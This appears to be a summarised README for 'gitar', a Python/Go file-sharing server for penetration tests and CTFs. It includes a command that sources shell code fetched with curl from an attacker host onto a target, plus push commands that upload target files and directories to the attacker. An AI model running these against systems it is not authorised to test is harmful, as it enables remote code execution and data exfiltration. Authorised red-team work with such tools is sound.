gitar is a lightweight Python HTTP server tool designed for fast and simple file sharing during penetration tests and CTFs with minimal target setup.
📡 Ease file sharing during pentest/CTF 🎸
This tool is primarily used by penetration testers and red teamers to quickly upload and download files or directories between attacker and target machines without requiring installation on the target. It simplifies file exchange during engagements by providing easy-to-use shortcuts and additional features like webhook logging and secure deployment.
Ensure HTTP connectivity between attacker and target machines. Target machine requires minimal tools (curl, tar) but no installation of gitar itself. For secure deployments, use the Docker container mode with HTTPS to reduce exposure risks. The tool emphasizes simplicity and speed, making it ideal for quick file exchanges during pentests or CTFs without complex setup.
On attacker machine, run `gitar` to launch the server
On target machine, source the shortcut aliases with `source <(curl -s http://[attacker_ip:port]/alias)`
Optionally, run gitar inside a Docker container for secure HTTPS deployment
Ensure target machine has `curl` and `tar` installed
On attacker machine, optionally install `xclip`, `tree`, and `dig` for enhanced functionality
Install gitar using `go install` (exact command truncated in README)
gitar
Launch the gitar HTTP server on the attacker machine
source <(curl -s http://[attacker_ip:port]/alias)
Load shell shortcuts on the target machine for file transfer commands
pull [file]
Download a single file from attacker to target with filename completion
pullr [directory]
Download a directory recursively from attacker to target
push [file]
Upload a single file from target to attacker
pushr [directory]
Upload a directory recursively from target to attacker
gitar send scp -t target.com -u root /img
Quickly send a file or directory to a target using SCP with interactive prompts
gitar send -l exploit.sh
Send a file using the last remembered configuration
gitar webhook -P payload
Start webhook mode to log incoming HTTP requests and extract specific parameters
docker run -it --rm --net host --cap-drop=all --cap-add=dac_override --user $(id -u):$(id -g) -v "${PWD}:/gitar/exchange" ariary/gitar
Run gitar server inside a Docker container for secure HTTPS file sharing